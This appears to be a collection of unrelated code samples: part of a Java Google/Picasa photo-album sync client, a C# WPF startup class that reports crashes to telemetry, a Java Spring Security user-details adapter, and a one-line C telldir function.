            if( albumEntry.getId() == null || albumEntry.getId().isEmpty()) {
                log.error("Unable to create new album: " + albumEntry.getTitle().getPlainText() );
                return null;
            }
        }

        return albumEntry;
    }

    public void updateTimeFromTags( File localFile, PhotoEntry photo, boolean createdFolder )
            throws com.google.gdata.util.ParseException, IOException
    {
        ExifTags tags = photo.getExifTags();
        DateTime photoDate = null;

        if( tags != null ) {
            Date timestamp = tags.getTime();
            if( timestamp != null )
                photoDate = new DateTime(timestamp);
        }

        if( photoDate == null ){
            photoDate = photo.getUpdated();
        }

        log.debug("Setting datetime for " + localFile.getName() + " to " + photoDate.toString());

        Path fp = Paths.get( localFile.getPath() );
        FileTime time = FileTime.fromMillis( photoDate.getValue() );
        Files.setAttribute(fp, "basic:creationTime", time );

        long lastUpdated = photo.getUpdated().getValue();

        // Set the last update time of the local file...
        log.debug("Setting last update datetime for " + localFile.getName() + " to " + photo.getUpdated());
        if( ! localFile.setLastModified(lastUpdated) )
            log.warn("Unable to set date/time stamp for file: " + localFile );
    }

    public static boolean isInstantUpload( AlbumEntry album )
    {
        return isAlbumOfType( AUTO_UPLOAD_TYPE, album ) ||
                isAlbumOfType( INSTANT_UPLOAD, album );
    }

    private static boolean isAlbumOfType( String type, AlbumEntry album ){
        String albumType = String.format( ALBUM_TYPE_PATTERN, type);

        XmlBlob blob = album.getXmlBlob();

        if( blob != null ) {
            String x = blob.getBlob();

            if( x != null && x.equals( albumType ) ) {
                return true;
            }
        }
        return false;
    }

    public List filterPhoto( List photoCollection, String filterExpression, Object filterValue ) throws Exception {
    	BeanPropertyValueEqualsPredicate predicate = new BeanPropertyValueEqualsPredicate( filterExpression, filterValue );
    	CollectionUtils.filter(photoCollection, predicate);
    	return photoCollection;
    }

    public void deletePhoto(GphotoEntry photoEntry) throws Exception {
    	log.info( "Delete photo " + photoEntry.getTitle().getPlainText() );
    	photoEntry.delete();
    }

    public GphotoEntry uploadImageToAlbum(Path imageFilePath, Object remotePhoto, Object albumEntry ) throws Exception {
		if(imageFilePath.getParent().toFile().exists() && !imageFilePath.toFile().exists()) {
			log.error("File is not found at '" + imageFilePath.toString() + "'. Please put the file and start this app again.");
			System.exit(1);
		}
		return (GphotoEntry) uploadImageToAlbum(imageFilePath.toFile(), (GphotoEntry) remotePhoto, (GphotoEntry) albumEntry, MD5Checksum.getMD5Checksum(imageFilePath.toString()));
    }

    public GphotoEntry uploadImageToAlbum(File imageFile, GphotoEntry remotePhoto, GphotoEntry albumEntry, String localMd5CheckSum ) throws Exception {

        boolean newPhoto = false;
        String albumName = albumEntry.getTitle().getPlainText();
        PhotoEntry  myPhoto = new PhotoEntry();

        if( remotePhoto == null || !StringUtils.hasValue(remotePhoto.getId()) )
        {
            newPhoto = true;
            log.info( "Uploading new image to album " + albumName + ": " + imageFile);
        }
        else{
        	// BeanUtils.copyProperties(myPhoto, remotePhoto);
        	remotePhoto.delete();
            log.info( "Uploading updated image in album " + albumName + ": " + imageFile);
        }

        try{
        	MediaFileSource myMedia = new MediaFileSource(imageFile, "image/jpeg");
        	myPhoto.setMediaSource(myMedia);
			myPhoto.setChecksum( localMd5CheckSum );
			myPhoto.setAlbumAccess(GphotoAccess.Value.PUBLIC);
			myPhoto.setClient( QuizParserConstant.SYNC_CLIENT_NAME );

            if( newPhoto)
            {
                myPhoto.setTitle(new PlainTextConstruct(imageFile.getName()));
            }
            else
            {
            	myPhoto.setTitle(remotePhoto.getTitle());
            }

            myPhoto = insert(albumEntry, myPhoto);
        } catch (Exception ex) {
            log.error("Unable to add media: " + imageFile + ": " + ex);
        } finally {
        	 setUpdatedDate( albumEntry, myPhoto, imageFile );
        }

        return myPhoto;
    }

    public void setAlbumDateFromFolder(File folder, AlbumEntry albumEntry)
    {
        // Can't do this for autobackup albums
        if( isAlbumOfType( AUTO_UPLOAD_TYPE, albumEntry ))
            return;

        File[] files = folder.listFiles();
        Date newestDate = null;

        if( files != null )
        {
            for (File file : files)
            {
                ImageInformation info = safeReadImageInformation(file);

                if( info != null )
                {
                    Date imageDate = info.getDateTaken();
                    if (imageDate != null)
                    {
                        if (newestDate == null || imageDate.after(newestDate))
                            newestDate = imageDate;
                    }
                }
            }

            if( newestDate != null )
            {
                log.info("Setting remote album date based on newest photo in " + folder + ": " + newestDate );

                try
                {
                    albumEntry.setDate(newestDate);
                    albumEntry.setEtag("*");
                    albumEntry.update();
                } catch (Exception ex)
                {
                    log.error("Unable to set album date for " + albumEntry, ex);
                }
            }
        }
    }

    public PhotoEntry createPhotoEntry (String title, String description, File fileImage) {
    	PhotoEntry myPhoto = new PhotoEntry();
    	myPhoto.setTitle(new PlainTextConstruct(title));
    	myPhoto.setDescription(new PlainTextConstruct(description));
    	myPhoto.setClient( QuizParserConstant.SYNC_CLIENT_NAME );

    	MediaFileSource myMedia = new MediaFileSource(fileImage, "image/jpeg");
    	myPhoto.setMediaSource(myMedia);

    	return myPhoto;
    }

    public void setUpdatedDate( GphotoEntry album, final PhotoEntry photoToChange, File localFile )
    {
        try
        {
            final boolean SETUPDATE_WORKS = false;

            if( SETUPDATE_WORKS )
            {
                List<GphotoEntry> photos = getPhotos(album);

                for (GphotoEntry photo : photos)
                {
                    if (photo.getGphotoId().equals(photoToChange.getGphotoId()))
                    {
                        DateTime time = new DateTime(localFile.lastModified());
                        time.setTzShift(0);

                        log.info( "Setting Updated from " + photo.getUpdated() + " to " + time );
                        photo.setUpdated(time);
                        photo.update();
                        break;
                    }
                }
            }
            else
            {
                // Since it doesn't work, the only option to avoid unnecessary uploads/downloads
                // is to set the lastModified file time on the local file.
                log.info("Setting local file time to " + photoToChange.getUpdated() + " for " + localFile.getName() );
                localFile.setLastModified( photoToChange.getUpdated().getValue() );
            }
        }
        catch( Exception ex )
        {
            log.error("Unable to change lastUpdate date for " + photoToChange.getTitle().getPlainText() );
        }
    }

    /**
	 * Demonstrates use of partial query to retrieve album title and location
	 * information for user's albums.
	 */
	private void printAlbumLocation(String uname) throws IOException, ServiceException {
		String albumsUrl = API_PREFIX + uname;
		String fields = "entry(title,gphoto:id,gphoto:location)";

		Query albumQuery = new Query(new URL(albumsUrl));
		albumQuery.setFields(fields);

		AlbumFeed feed = service.query(albumQuery, AlbumFeed.class);
		for (GphotoEntry entry : feed.getEntries()) {
			if (entry instanceof AlbumEntry) {
				AlbumEntry albumEntry = (AlbumEntry) entry;
				log.info(albumEntry.getGphotoId() + ":" + albumEntry.getTitle().getPlainText() + " ("
						+ albumEntry.getLocation() + ")");
			}
		}
	}

    /**
	 * Demonstrates update operation using partial patch to update location
	 * string for specified album.
	 */
	public void updateAlbumLocation(String uname, String albumId, String newLocation) throws IOException, ServiceException {

		// Get the current album entry
		String albumEntryUrl = API_PREFIX + uname + "/" + albumId;
		String fields = "@gd:etag,gphoto:location";
		Query patchQuery = new Query(new URL(albumEntryUrl));
		patchQuery.setFields(fields);
		AlbumEntry entry = service.getEntry(patchQuery.getUrl(), AlbumEntry.class);
		log.info("Current location: " + entry.getLocation());

		// Update the location in the album entry
		entry.setLocation(newLocation);
		entry.setSelectedFields("gphoto:location");
		AlbumEntry updated = service.patch(new URL(albumEntryUrl), fields, entry);
		log.info("Location set to: " + updated.getLocation());
	}

    public static String getPhotoId( PhotoEntry photo )
    {
        final String PHOTOID = "photoid/";
        String id;

        int index = photo.getId().indexOf( PHOTOID );
        id = photo.getId().substring( index + PHOTOID.length() );
        return id;
    }

    public void movePhoto(PhotoEntry photo, AlbumEntry destinationAlbum) throws ServiceException, IOException
    {
        log.info("Moving photo " + photo.getTitle().getPlainText() + " to " + destinationAlbum.getTitle().getPlainText() );

        AlbumFeed feed = destinationAlbum.getFeed();
        String id = feed.getGphotoId();
        photo.setAlbumId(id );
        photo.update();
    }

    private List<UserFeed> feeds = new ArrayList<UserFeed>();
    /**
     * Retrieves the albums for the given user.
     * albumUrl = addParameter(albumUrl, "hidestreamid", "photos_from_posts" );
     */
    public List getAlbums(String username, Boolean showall ) throws IOException, ServiceException {

        String albumUrl = API_PREFIX + username;

        if( showall )
            albumUrl = addParameter( albumUrl, "showall", null );

        List<GphotoEntry> albums = new ArrayList<GphotoEntry>();

        while( true ) {
        	UserFeed userFeed = getFeed(albumUrl, UserFeed.class);

            feeds.add( userFeed );

            List<GphotoEntry> entries = userFeed.getEntries();

            for (GphotoEntry entry : entries) {
            	albums.add(entry);
            }

            Link nextLink = userFeed.getNextLink();
            if( nextLink == null )
                break;

            albumUrl = nextLink.getHref();
        }

        TimeUtils.sortGPhotoEntriesNewestFirst( albums );
        return albums;
    }

    /**
     * Retrieves the albums for the currently logged-in user.  This is equivalent
     * to calling {@link #getAlbums(String, boolean)} with "default" as the username.
     */
    public List getAlbums( Boolean showall ) throws Exception {
        return getAlbums("default", showall);
    }

    /**
     * Retrieves the tags for the given user.  These are tags aggregated across
     * the entire account.
     */
    public List<TagEntry> getTags(String uname) throws IOException,
            ServiceException {
        String tagUrl = API_PREFIX + uname + "?kind=tag";
        UserFeed userFeed = getFeed(tagUrl, UserFeed.class);

        List<GphotoEntry> entries = userFeed.getEntries();
        List<TagEntry> tags = new ArrayList<TagEntry>();
        for (GphotoEntry entry : entries) {
            GphotoEntry adapted = entry.getAdaptedEntry();
            if (adapted instanceof TagEntry) {
                tags.add((TagEntry) adapted);
            }
        }
        return tags;
    }

    /**
     * Retrieves the tags for the currently logged-in user.  This is equivalent
     * to calling {@link #getTags(String)} with "default" as the username.
     */
    public List<TagEntry> getTags() throws IOException, ServiceException {
        return getTags("default");
    	// return getTags("113922249877693412534");
    }

    /**
     * Retrieves the photos for the given album.
     */
    public List<PhotoEntry> getPhotos(AlbumEntry album) throws IOException,
            ServiceException {

        List<PhotoEntry> photos = new ArrayList<PhotoEntry>();

        // If it doesn't have an ID, it's an album we haven't created yet!
        if( album.getLinks().size() != 0 ) {
            String feedHref = getLinkByRel(album.getLinks(), Link.Rel.FEED);

            feedHref = addParameter(feedHref, "imgmax", "d");
            feedHref = addParameter(feedHref, "max-results", "1000");

            while (feedHref != null) {
                AlbumFeed albumFeed = getFeed(feedHref, AlbumFeed.class);

                List<GphotoEntry> entries = albumFeed.getEntries();
                for (GphotoEntry entry : entries) {
                    GphotoEntry adapted = entry.getAdaptedEntry();
                    if (adapted instanceof PhotoEntry) {
                        photos.add((PhotoEntry) adapted);
                    }
                }

                Link nextLink = albumFeed.getNextLink();
                if (nextLink != null) {
                    feedHref = nextLink.getHref();
                } else {
                    feedHref = null;
                }
            }
        }

        TimeUtils.sortPhotoEntriesNewestFirst(photos);

        return photos;
    }

    /**
     * Retrieves the photos for the given album.
     */
    public List getPhotos(GphotoEntry photoEntry) throws IOException,
            ServiceException {

        List<GphotoEntry> photos = new ArrayList<GphotoEntry>();

        // If it doesn't have an ID, it's an album we haven't created yet!
        if( ((GphotoEntry) photoEntry).getLinks().size() != 0 ) {
            String feedHref = getLinkByRel( ((GphotoEntry) photoEntry).getLinks(), Link.Rel.FEED);

            feedHref = addParameter(feedHref, "imgmax", "d");
            feedHref = addParameter(feedHref, "max-results", "1000");

            while (feedHref != null) {
                AlbumFeed albumFeed = getFeed(feedHref, AlbumFeed.class);

                List<GphotoEntry> entries = albumFeed.getEntries();
                for (GphotoEntry entry : entries) {
                	photos.add(entry);
                }

                Link nextLink = albumFeed.getNextLink();
                if (nextLink != null) {
                    feedHref = nextLink.getHref();
                } else {
                    feedHref = null;
                }
            }
        }

        TimeUtils.sortGPhotoEntriesNewestFirst(photos);

        return photos;
    }

    /**
     * Retrieves the comments for the given photo.
     */
    public List<CommentEntry> getComments(PhotoEntry photo) throws IOException,
            ServiceException {

        String feedHref = getLinkByRel(photo.getLinks(), Link.Rel.FEED);
        AlbumFeed albumFeed = getFeed(feedHref, AlbumFeed.class);

        List<GphotoEntry> entries = albumFeed.getEntries();
        List<CommentEntry> comments = new ArrayList<CommentEntry>();
        for (GphotoEntry entry : entries) {
            GphotoEntry adapted = entry.getAdaptedEntry();
            if (adapted instanceof CommentEntry) {
                comments.add((CommentEntry) adapted);
            }
        }
        return comments;
    }

    /**
     * Retrieves the tags for the given taggable entry.  This is valid on user,
     * album, and photo entries only.
     */
    public List<TagEntry> getTags(GphotoEntry<?> parent) throws IOException,
            ServiceException {

        String feedHref = getLinkByRel(parent.getLinks(), Link.Rel.FEED);
        feedHref = addKindParameter(feedHref, "tag");
        AlbumFeed albumFeed = getFeed(feedHref, AlbumFeed.class);

        List<GphotoEntry> entries = albumFeed.getEntries();
        List<TagEntry> tags = new ArrayList<TagEntry>();
        for (GphotoEntry entry : entries) {
            GphotoEntry adapted = entry.getAdaptedEntry();
            if (adapted instanceof TagEntry) {
                tags.add((TagEntry) adapted);
            }
        }
        return tags;
    }

    /**
     * Album-specific insert method to insert into the gallery of the current
     * user, this bypasses the need to have a top-level entry object for parent.
     */
    public GphotoEntry insertAlbum(AlbumEntry album) throws Exception {
        log.info( "Adding new album: " + ((AlbumEntry) album).getTitle().getPlainText() );

        String feedUrl = API_PREFIX + "default";
        return service.insert(new URL(feedUrl), (AlbumEntry) album);
    }

    public GphotoEntry insertAlbum(String title, String description, boolean isPublic) throws Exception {

        AlbumEntry album = new AlbumEntry();
        if(isPublic) {
        	album.setAccess(GphotoAccess.Value.PUBLIC);
        } else {
        	album.setAccess(GphotoAccess.Value.PRIVATE);
        }
        album.setTitle(new PlainTextConstruct(title));
        album.setDescription(new PlainTextConstruct(description));

        return insertAlbum(album);
    }

    /**
     * Insert an entry into another entry.  Because our entries are a hierarchy,
     * this lets you insert a photo into an album even if you only have the
     * album entry and not the album feed, making it quicker to traverse the
     * hierarchy.
     */
    public <T extends GphotoEntry> T insert(GphotoEntry<?> parent, T entry)
            throws IOException, ServiceException {

        String feedUrl = getLinkByRel(parent.getLinks(), Link.Rel.FEED);

        return service.insert(new URL(feedUrl), entry);
    }

    /**
     * Insert an entry into another entry.  Because our entries are a hierarchy,
     * this lets you insert a photo into an album even if you only have the
     * album entry and not the album feed, making it quicker to traverse the
     * hierarchy.
     */
    public <T extends GphotoEntry> T update(GphotoEntry<?> parent, T entry)
            throws IOException, ServiceException {

        String feedUrl = getLinkByRel(parent.getLinks(), Link.Rel.ENTRY_EDIT);
        return service.update(new URL(feedUrl), entry);
    }

    /**
     * Helper function to allow retrieval of a feed by string url, which will
     * create the URL object for you.  Most of the Link objects have a string
     * href which must be converted into a URL by hand, this does the conversion.
     */
    public <T extends GphotoFeed> T getFeed(String feedHref, Class<T> feedClass) throws IOException, ServiceException {
        log.info("Get Feed URL: " + feedHref);
        return service.getFeed(new URL(feedHref), feedClass);
    }

    /**
     * Helper function to add a kind parameter to a url.
     */
    public String addKindParameter(String url, String kind) {

        return addParameter( url, "kind", kind );
    }

    /**
     * Helper function to add a kind parameter to a url.
     */
    public String addParameter(String url, String name, String value) {
        if (url.contains("?")) {
            url = url + "&" + name;
        } else {
            url = url + "?" + name;
        }

        if( value != null && ! value.isEmpty() )
            url = url + "=" + value;

        return url;
    }

    /**
     * Helper function to get a link by a rel value.
     */
    public String getLinkByRel(List<Link> links, String relValue) {
        for (Link link : links) {
            if (relValue.equals(link.getRel())) {
                return link.getHref();
            }
        }
        throw new IllegalArgumentException("Missing " + relValue + " link.");
    }

    public static File getFolderNameForAlbum( File rootFolder, AlbumEntry album ){
        String title = album.getTitle().getPlainText();

        if( isInstantUpload( album )) {
            // For auto backup downloads, we use the pre-defined "Auto Backup" sub-folder name and
            // force download only (uploads for auto-backup will be done separately.
            File autoBackupFolder = new File(rootFolder, AUTO_BACKUP_FOLDER);

            String localTitle = title.replace('/', '_');
            localTitle = localTitle.replace('\\', '_');

            return new File(autoBackupFolder, localTitle);
        }

        return new File( rootFolder, title );
    }

    public static String getAlbumNameForFolder( File localFolder ){

        String title = localFolder.getName();

        File parent = localFolder.getParentFile();

        if( parent.getName().equals( AUTO_BACKUP_FOLDER ) ) {

            // For auto-backup we take the name but replace underscores back with slashes
            title = title.replace('_', '/');
        }

        return title;
    }
}


text:
using System;
using System.Windows;

namespace ApplicationInsightTest
{
    /// <summary>
    /// Interaction logic for App.xaml
    /// </summary>
    public partial class App
    {
        #region Variables

        private DataContext _context;
        private ApplicationInsightHelper _applicationInsightHelper;

        #endregion

        protected override void OnStartup(StartupEventArgs e)
        {
            try
            {
                _applicationInsightHelper = new ApplicationInsightHelper();
                _context = new DataContext(_applicationInsightHelper);

                //We use this to get access to unhandled exceptions so we can report app crashes to the Telemetry client
                var currentDomain = AppDomain.CurrentDomain;
                currentDomain.UnhandledException += CurrentDomain_UnhandledException;
                currentDomain.ProcessExit += CurrentDomain_ProcessExit;

                var mainWindow = new MainWindow(_context, _applicationInsightHelper);
                mainWindow.Show();
            }
            catch (Exception ex)
            {
                MessageBox.Show(ex.ToString());
            }
        }

        /// <summary>
        /// Flush TelemetryClient data when the application exits
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private void CurrentDomain_ProcessExit(object sender, EventArgs e)
        {
            _applicationInsightHelper.FlushData();
        }

        /// <summary>
        /// Flush TelemtryClient data on an uncaught exception (app crash)
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private void CurrentDomain_UnhandledException(object sender, UnhandledExceptionEventArgs e)
        {
            _applicationInsightHelper.TrackFatalException(e.ExceptionObject as Exception);
            _applicationInsightHelper.FlushData();
        }
    }
}


text:
package ca.intelliware.ihtsdo.mlds.security.ihtsdo;

import java.util.Collection;

import org.springframework.security.core.GrantedAuthority;
import org.springframework.security.core.userdetails.UserDetails;

/**
 * Adapt the CentralAuthUserInfo to the Spring UserDetails interface.
 */
public class RemoteUserDetails implements UserDetails {
	private static final long serialVersionUID = 1L;

	final CentralAuthUserInfo centralAuthUserInfo;
	final Collection<? extends GrantedAuthority> authorities;

	public RemoteUserDetails(CentralAuthUserInfo centralAuthUserInfo, Collection<? extends GrantedAuthority> authorities) {
		super();
		this.centralAuthUserInfo = centralAuthUserInfo;
		this.authorities = authorities;
	}

	@Override
	public Collection<? extends GrantedAuthority> getAuthorities() {
		return authorities;
	}

	@Override
	public String getPassword() {
		return null;
	}

	@Override
	public String getUsername() {
		return centralAuthUserInfo.getLogin();
	}

	public CentralAuthUserInfo getCentralAuthUserInfo() {
		return centralAuthUserInfo;
	}

	@Override
	public boolean isAccountNonExpired() {
		return true;
	}

	@Override
	public boolean isAccountNonLocked() {
		return true;
	}

	@Override
	public boolean isCredentialsNonExpired() {
		return true;
	}

	@Override
	public boolean isEnabled() {
		return true;
	}

}


text:
long telldir(DIR *dirp) {
  return dirp->cookie;
}